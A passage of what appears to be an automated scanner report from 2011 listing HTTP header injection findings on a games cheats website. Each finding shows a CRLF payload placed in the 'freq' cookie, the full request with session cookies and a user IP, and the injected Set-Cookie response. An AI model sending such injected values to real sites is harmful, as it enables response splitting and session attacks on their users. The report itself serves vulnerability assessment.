Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~04e5e4%0d%0a2709aba0b1e; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:33 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043193880v-2n-12mc+1297043193880mv+2mn+12wwe~04e5e4
2709aba0b1e;Path=/;Domain=.ign.com
Content-Length: 143576

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

2.4. http://cheats.ign.com/index/nintendo-ds-cheats/index.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/nintendo-ds-cheats/index.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload 9d002%0d%0ad6ae977a774 was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /index/nintendo-ds-cheats/index.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~09d002%0d%0ad6ae977a774; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:27 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043187710v-2n-12mc+1297043187710mv+2mn+12wwe~09d002
d6ae977a774;Path=/;Domain=.ign.com
Content-Length: 132462

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

2.5. http://cheats.ign.com/index/pc-cheats/index.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/pc-cheats/index.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload 56159%0d%0a508198ab64e was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /index/pc-cheats/index.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~056159%0d%0a508198ab64e; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:17 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043177669v-2n-12mc+1297043177669mv+2mn+12wwe~056159
508198ab64e;Path=/;Domain=.ign.com
Content-Length: 145295

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

2.6. http://cheats.ign.com/index/playstation-3-cheats/index.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/playstation-3-cheats/index.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload f5a88%0d%0a5c3c4fff70e was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /index/playstation-3-cheats/index.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0f5a88%0d%0a5c3c4fff70e; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:19 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043179730v-2n-12mc+1297043179730mv+2mn+12wwe~0f5a88
5c3c4fff70e;Path=/;Domain=.ign.com
Content-Length: 150425

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

2.7. http://cheats.ign.com/index/playstation-portable-cheats/index.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/playstation-portable-cheats/index.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload c65be%0d%0a7d7e2e5c849 was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /index/playstation-portable-cheats/index.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0c65be%0d%0a7d7e2e5c849; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:30 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043190459v-2n-12mc+1297043190459mv+2mn+12wwe~0c65be
7d7e2e5c849;Path=/;Domain=.ign.com
Content-Length: 138667

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

2.8. http://cheats.ign.com/index/wii-cheats/index.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/wii-cheats/index.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload aa9fc%0d%0afede6d5931a was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /index/wii-cheats/index.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0aa9fc%0d%0afede6d5931a; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:12 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043172863v-2n-12mc+1297043172863mv+2mn+12wwe~0aa9fc
fede6d5931a;Path=/;Domain=.ign.com
Content-Length: 147952

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

2.9. http://cheats.ign.com/index/xbox-360-cheats/index.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/index/xbox-360-cheats/index.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload ad4ae%0d%0a24a8ec93866 was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /index/xbox-360-cheats/index.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0ad4ae%0d%0a24a8ec93866; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:13 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043174012v-2n-12mc+1297043174012mv+2mn+12wwe~0ad4ae
24a8ec93866;Path=/;Domain=.ign.com
Content-Length: 156023

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...

2.10. http://cheats.ign.com/ob2/068/001/001317.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/001/001317.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload 3a6ea%0d%0aaec4be26322 was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /ob2/068/001/001317.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~03a6ea%0d%0aaec4be26322; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:54 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043214917v-2n-12mc+1297043214917mv+2mn+12wwe~03a6ea
aec4be26322;Path=/;Domain=.ign.com
Content-Length: 114774

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...

2.11. http://cheats.ign.com/ob2/068/038/038020.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/038/038020.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload f38fc%0d%0ac9f2bbd217d was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /ob2/068/038/038020.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0f38fc%0d%0ac9f2bbd217d; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:39 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043199955v-2n-12mc+1297043199955mv+2mn+12wwe~0f38fc
c9f2bbd217d;Path=/;Domain=.ign.com
Content-Length: 109217

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...

2.12. http://cheats.ign.com/ob2/068/077/077644.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/077/077644.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload 889f8%0d%0ac563b0c4050 was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /ob2/068/077/077644.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0889f8%0d%0ac563b0c4050; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; 